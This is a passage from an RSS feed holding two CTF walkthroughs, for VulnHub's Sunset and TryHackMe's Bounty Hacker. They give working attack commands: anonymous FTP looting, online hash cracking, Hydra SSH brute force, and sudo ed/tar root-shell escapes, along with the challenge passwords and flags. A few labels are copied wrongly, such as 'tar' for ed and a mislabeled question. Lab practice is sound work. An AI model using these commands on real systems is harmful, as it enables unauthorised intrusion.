Netdiscover</figcaption></figure><h3>Step 2 : Port Scanning</h3><p>I performed a aggressive Nmap scan to identify open ports, running services, service versions, and potential vulnerabilities.</p><h3>Command:</h3><pre>nmap -A &lt;TARGET_IP&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/833/1*PwDQl2zxUch9XZP0II0efg.png" /><figcaption>Figure 2: Nmap Scan Results Showing Open Ports and Services</figcaption></figure><p>This scan revealed several important services:</p><ul><li><strong>FTP (Port 21):</strong> The scan indicated that <strong>anonymous FTP login was enabled</strong>, making it a high-priority service for further investigation.</li><li><strong>SSH (Port 22):</strong> An SSH service was running, which could potentially be used for remote access if valid credentials were obtained during the assessment.</li></ul><p>Based on these findings, I decided to begin by investigating the FTP service because anonymous access was permitted and could potentially expose sensitive files or credentials.</p><h3>Step 3: Enumerating the FTP Service</h3><p>Since the Nmap scan showed that <strong>Anonymous FTP Login</strong> was enabled, I attempted to access the FTP service using the default anonymous credentials.</p><p>Connect to the FTP Server:</p><h3>Command:</h3><pre>ftp &lt;TARGET_IP&gt;</pre><p>When prompted for credentials, enter:</p><pre>Username: anonymous<br>Password: &lt;Press Enter&gt;</pre><p>After successfully logging in, I listed the available files using ,</p><h3>Command:</h3><pre>ls</pre><p>The FTP server contained one file:</p><ul><li>backup</li></ul><p>I downloaded the file to my local machine using</p><h3>Command:</h3><pre>get backup</pre><p>The retrieved backup file contained information that proved useful for the next stage of the assessment and guided the subsequent exploitation process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*g7dYLqanYx36dEWg6FPGDw.png" /><figcaption>Figure 3: Anonymous FTP Login, File Enumeration, and Backup File Retrieval</figcaption></figure><h3>Step 4: Analyzing the Downloaded Files</h3><p>After successfully downloading the backup file from the FTP server, I examined its contents to identify any sensitive information that could aid in gaining initial access to the target machine.</p><p>To view the contents of the file, I used:</p><h3>Command:</h3><pre>cat backup</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n1k-SDDH1_Q54oyOqgTs8A.png" /><figcaption>Figure 4: Sensitive Information Identified in the Backup File</figcaption></figure><p>The credentials stored in the backup file were in the form of SHA-512 password hashes rather than plaintext passwords. To determine whether any of the hashes had already been recovered, I used the <strong>Hashes.com</strong> hash lookup service.</p><p><strong>Link:</strong> <a href="https://hashes.com/en/decrypt/hash">https://hashes.com/en/decrypt/hash</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LZlMRO8-lRaw4pHdBMpLGw.png" /><figcaption>Figure 5: Password Hash Lookup Result</figcaption></figure><p>The lookup successfully matched one of the hashes to its corresponding plaintext password, providing valid credentials that were used in the next stage of the assessment.</p><pre>password: cheer14</pre><h3>Step 5: SSH Login</h3><p>After recovering a plaintext password from one of the SHA-512 hashes, the next objective was to gain remote access to the target machine via SSH.</p><p>Since the machine was named <strong>Sunset</strong>, I hypothesized that the username <strong>sunset</strong> was likely to be a valid account. I combined this username with the recovered password and attempted to log in via SSH.</p><h3>Command:</h3><pre>ssh sunset@&lt;TARGET_IP&gt;</pre><pre>username: sunset<br>password: cheer14</pre><p>The login was successful, confirming that the guessed username and recovered password formed a valid set of credentials. This provided an initial shell on the target system and allowed me to proceed with local enumeration and privilege escalation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/894/1*TnPJoJPwPAlGxMvYXyBbVQ.png" /><figcaption>Figure 6: Successful SSH Login Using the Recovered Credentials</figcaption></figure><p>After gaining SSH access to the target machine, I listed the files in the current directory to identify any items of interest.</p><h3><strong>Command</strong></h3><pre>ls</pre><p>Among the listed files, I located the user flag. I displayed its contents using,</p><h3>Command:</h3><pre>cat &lt;user_flag_file&gt;</pre><p>This revealed the first flag, confirming successful user-level access to the target system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/396/1*TEnxCcWSnyy9yMm9mTJ1jQ.png" /><figcaption>Figure 7: Retrieving the User Flag</figcaption></figure><pre>FirstFlag: 5b5b8e9b01ef27a1cc0a2d5fa87d7190</pre><h3>Step 6: Initial Privilege Escalation Attempts</h3><p>After obtaining user-level access, I began exploring the filesystem in search of potential privilege escalation vectors. I navigated through common directories and attempted to access files that might contain useful information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*apEAu_U2Ju26R9e7GwwsjQ.png" /><figcaption>Figure 8: Initial Privilege Escalation Enumeration</figcaption></figure><p>While several directories were accessible, attempts to view certain privileged files and directories resulted in <strong>“Permission denied”</strong> errors, indicating that elevated privileges were required. This confirmed that further enumeration was necessary to identify a viable privilege escalation path.</p><h3>Step 7: Checking Sudo Privileges</h3><p>As part of the privilege escalation process, I checked whether the current user had permission to execute any commands with elevated privileges.</p><p><strong>Command:</strong></p><pre>sudo -l</pre><p>The output listed the commands that the current user was allowed to execute with sudo. This information revealed a potential privilege escalation path and guided the next stage of the assessment.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2VCdunUs_46PfoNi06Szlw.png" /><figcaption>Figure 9: Identifying Sudo Permissions for the Current User</figcaption></figure><p><strong>What is GTFOBins?</strong></p><p>GTFOBins is a collection of Linux binaries that can be used to bypass security restrictions or escalate privileges when they are allowed to run with sudo. It provides ready-to-use commands for many common Linux utilities. Searching for tar on GTFOBins revealed a command that could be used to spawn a root shell.</p><h3>Privilege Escalation Command</h3><pre>sudo ed<br>!/bin/sh</pre><p>or</p><pre>sudo ed<br>!sh</pre><p>Executing either command spawned a root shell, successfully escalating my privileges to the root user.</p><p>To verify the escalation, I ran:</p><pre>whoami</pre><p>The output confirmed that I had obtained <strong>root</strong> privileges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xGtYSnOCtzhzFAb_boWygQ.png" /><figcaption>Figure 10: Privilege Escalation via sudo ed and Root Shell Verification</figcaption></figure><h3>Step 8: Retrieving the Root Flag</h3><p>After successfully obtaining root privileges, I navigated to the root user’s home directory to locate the final flag.</p><p>First, I listed the available files:</p><pre>ls</pre><p>Next, I changed to the root user’s home directory:</p><pre>cd root</pre><p>I listed the contents of the directory:</p><pre>ls</pre><p>After identifying the flag file (flag.txt), I displayed its contents using:</p><pre>cat flag.txt</pre><p>This revealed the <strong>root flag</strong>, confirming that the machine had been fully compromised.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-4NEnRS9R8g04rSfAXqnIg.png" /><figcaption>Figure 11: Retrieving the Root Flag</figcaption></figure><pre>FinalFlag: 25d7ce0ee3cbf71efbac61f85d0c14fe</pre><h3>Conclusion</h3><p>The <strong>Sunset</strong> machine from VulnHub provided an excellent opportunity to practice a complete penetration testing workflow in a controlled lab environment. The challenge reinforced the importance of thorough enumeration, as the initial foothold was obtained through anonymous FTP access, followed by analyzing a backup file to recover credentials.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0cd2c0790a91" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe: Bounty Hacker Walkthrough | From Enumeration to Root | by Nandana Ajilal]]></title>
            <link>https://medium.com/@nandanaajilal/tryhackme-bounty-hacker-walkthrough-from-enumeration-to-root-by-nandana-ajilal-a551721c64ef?source=rss-e056f59c0e4b------2</link>
            <guid isPermaLink="false">https://medium.com/p/a551721c64ef</guid>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[bounty-hacker-tryhackme]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[ctf-walkthrough]]></category>
            <dc:creator><![CDATA[Nandana Ajilal]]></dc:creator>
            <pubDate>Fri, 10 Jul 2026 12:08:24 GMT</pubDate>
            <atom:updated>2026-07-10T12:08:24.514Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*mmVmU173NwME68TA" /></figure><h3>Introduction</h3><p><strong>Bounty Hacker</strong> is an Easy Linux machine on <strong>TryHackMe</strong> designed to introduce beginners to <strong>reconnaissance</strong>, <strong>service enumeration</strong>, <strong>password attacks</strong>, and <strong>Linux privilege escalation</strong>.</p><p>In this walkthrough, I’ll demonstrate the methodology I followed from initial enumeration to gaining <strong>root</strong> access while explaining the tools and techniques used at each stage.</p><h3>Step 1: Connect to the Target Machine</h3><p>To begin, deploy the Bounty Hacker machine on TryHackMe. You can either connect using the AttackBox provided by TryHackMe or use your own Linux machine by connecting to the TryHackMe VPN through OpenVPN. In this walkthrough, I used my Kali Linux machine connected via OpenVPN.</p><h3>Command</h3><pre>sudo openvpn &lt;your_vpn_file&gt;.ovpn</pre><p>Once the VPN connection was established successfully, I started the target machine and obtained its assigned IP address from the TryHackMe dashboard. This IP address was then used for all subsequent reconnaissance and exploitation steps.</p><h3><strong>Q1) Deploy the machine.</strong></h3><p><strong>Answer: </strong>No Answer Needed</p><h3><strong>Q2) </strong>Find open ports on the machine</h3><p><strong>Answer: </strong>No Answer Needed</p><h3>Step 2: Reconnaissance with Nmap</h3><p>With the target machine running, the next step was to identify the open ports and services available on the system.</p><h3>Command</h3><pre>nmap -A &lt;TARGET_IP&gt;</pre><p>The scan revealed <strong>three open ports</strong>:</p><ul><li><strong>21/tcp</strong> — <strong>FTP</strong> (File Transfer Protocol)</li><li><strong>22/tcp</strong> — <strong>SSH</strong> (Secure Shell)</li><li><strong>80/tcp</strong> — <strong>HTTP</strong> (Apache Web Server)</li></ul><p>After reviewing the scan results, I noticed that <strong>Anonymous FTP Login</strong> was enabled on <strong>port 21</strong>. Since anonymous FTP access can expose publicly accessible files that may contain useful information, I decided to enumerate the FTP service before investigating the other open ports.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o8LRX5TPl_cKMhynUYqWJw.png" /><figcaption><strong>Figure 1:</strong> <em>Nmap Aggressive Scan</em></figcaption></figure><h3>Step 2: Enumerating the FTP Service</h3><p>Since the Nmap scan showed that <strong>Anonymous FTP Login</strong> was enabled, I attempted to access the FTP service using the default anonymous credentials.</p><p>Connect to the FTP Server:</p><h3>Command</h3><pre>ftp &lt;TARGET_IP&gt;</pre><p>When prompted for credentials, enter:</p><pre>Username: anonymous<br>Password: &lt;Press Enter&gt;</pre><p>After successfully logging in, I listed the available files using ,</p><h3>Command</h3><pre>ls</pre><p>The FTP server contained two files:</p><ul><li>locks.txt</li><li>task.txt</li></ul><p>To download these files to my local machine for further analysis,</p><h3>Command</h3><pre>get locks.txt<br>get task.txt</pre><p>Both files were successfully transferred to my Kali Linux machine and were ready for further examination.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UM6JzR_TFxHrVOMvzppweg.png" /><figcaption><strong>Figure 2:</strong> <em>Anonymous FTP Login and File Download</em></figcaption></figure><h3>Step 4: Analyzing the Downloaded Files</h3><p>Open the downloaded files.</p><h3>Command</h3><pre>cat task.txt<br>cat locks.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/856/1*chy4t9AIZjjiakaLMzy7yA.png" /><figcaption>Figure 3: Discovering the Username</figcaption></figure><h3><strong>Q3) Who wrote the task list?</strong></h3><p><strong>Answer: </strong>lin</p><ul><li>task.txt reveals the username <strong>lin</strong>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/583/1*bVZb6NqyySyPTuY7CRTc5Q.png" /><figcaption>Figure 4: Downloaded Password Wordlist</figcaption></figure><ul><li>locks.txt contains a password wordlist.</li></ul><p>After analyzing the downloaded files, I found that <strong>task.txt</strong> revealed the username <strong>lin</strong>, while <strong>locks.txt</strong> contained a list of possible passwords.</p><h3>Step 5: SSH Brute Force with Hydra</h3><p>Since the <strong>SSH</strong> service was running on <strong>port 22</strong>, I used <strong>Hydra</strong>, a password-cracking tool, to test each password from locks.txt against the username <strong>lin</strong>.</p><h3><strong>Q4) </strong>What service can you bruteforce with the text file found?</h3><p><strong>Answer:</strong> SSH</p><h3>Command</h3><pre>hydra -l lin -P locks.txt &lt;TARGET_IP&gt; ssh</pre><h3>Understanding the Command</h3><ul><li><strong>-l (lowercase L)</strong> → Used to specify <strong>a single username</strong>.</li><li><strong>-L (uppercase L)</strong> → Used to specify <strong>a file containing multiple usernames</strong>.</li><li><strong>-P locks.txt</strong> → Uses locks.txt as the password wordlist.</li><li><strong>ssh:&lt;TARGET_IP&gt;</strong> → Targets the SSH service running on the target machine.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XIvB08adee52HyAflPDmFQ.png" /><figcaption>Figure 5: SSH Password Brute Force with Hydra</figcaption></figure><pre>login: lin   password: RedDr4gonSynd1cat3</pre><h3><strong>Q5) Who wrote the task list?</strong></h3><p><strong>Answer: </strong>RedDr4gonSynd1cat3</p><h3>Step 6: Gain User Access</h3><p>After Hydra identified the correct SSH credentials, I used them to log in to the target machine.</p><h3>Command</h3><pre>ssh lin@&lt;TARGET_IP&gt;</pre><p>I entered the password discovered by Hydra. After successful authentication, I gained access to the system as user: lin .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QQtE_0Nv8K4H1a6xjEH-qA.png" /><figcaption>Figure 6: Successful SSH Login</figcaption></figure><p>The next objective was to locate and read the <strong>user flag</strong>.</p><p>To view the files in the current directory</p><h3>Command</h3><p>To list files:</p><pre>ls</pre><p>Among the listed files, I found <strong>user.txt</strong>, which contained the user flag.</p><h3>Command</h3><p>To read its contents, I used the following command:</p><pre>cat user.txt</pre><p>The contents of the user.txt file revealed the **user flag**, confirming that I had successfully gained user-level access to the target machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HMwVmz5no5xsz6xTmUi7hg.png" /><figcaption>Figure 7: User Flag Retrieved</figcaption></figure><h3>Q6) user.txt</h3><p><strong>Answer:</strong> THM{CR1M3_SyNd1C4T3}</p><h3>Step 7: Privilege Escalation</h3><p>After obtaining user-level access, the next objective was to check whether the current user had permission to execute any commands with sudo.</p><h3>Command</h3><pre>sudo -l</pre><p>The output showed that the user lin could execute the tar command as the root user without requiring a password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vYHORltDyCf-wbD_15l-7Q.png" /><figcaption>Figure 8: Sudo Privileges Enumeration</figcaption></figure><p>What is GTFOBins?</p><p>GTFOBins is a collection of Linux binaries that can be used to bypass security restrictions or escalate privileges when they are allowed to run with sudo. It provides ready-to-use commands for many common Linux utilities. Searching for tar on GTFOBins revealed a command that could be used to spawn a root shell.</p><h3>Privilege Escalation Command</h3><pre>sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh</pre><p>GTFOBins provided the following command to spawn a root shell using tar.</p><p>After successfully obtaining a root shell, the final objective was to locate the root flag.</p><h3>Command</h3><p>The cd / command changes the current working directory to the root directory , which is the top-level directory of the Linux filesystem.</p><pre>cd /</pre><p>Navigates to the root directory of the Linux filesystem.</p><pre>ls</pre><p>Lists all directories and files in the root directory.</p><pre>cd root</pre><p>Opens the root user’s home directory.</p><pre>ls</pre><p>Lists the files inside the root user’s home directory.</p><pre>cat root.txt</pre><p>Dsplays the contents of root.txt, revealing the <strong>root flag</strong> and confirming successful privilege escalation.</p><p><strong>OUTPUT</strong></p><pre>THM{80UN7Y_h4cK3r}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0xfA_1p3xLu2VykFOKLaTQ.png" /><figcaption>Figure 9: Privilege Escalation Using tar and Root Flag Retrieval</figcaption></figure><h3>Q7) root.txt</h3><p><strong>Answer: </strong>THM{80UN7Y_h4cK3r}</p><h3>Conclusion</h3><p>The <strong>Bounty Hacker</strong> room is an excellent introduction to the fundamentals of penetration testing. Throughout this walkthrough, I followed a structured methodology, starting with <strong>reconnaissance</strong>, identifying open services using <strong>Nmap</strong>, enumerating an <strong>anonymous FTP</strong> server, extracting useful information from downloaded files, using <strong>Hydra</strong> to discover valid SSH credentials, and finally performing <strong>privilege escalation</strong> with <strong>GTFOBins</strong> to gain <strong>root</strong> access.</p><p>This room highlights the importance of proper service enumeration, securing publicly accessible files, using strong passwords, and carefully configuring <strong>sudo</strong> permissions to prevent privilege escalation.</p><p>Overall, <strong>Bounty Hacker</strong> is a great beginner-friendly room for understanding the complete penetration testing workflow from initial enumeration to capturing the final root flag.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a551721c64ef" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>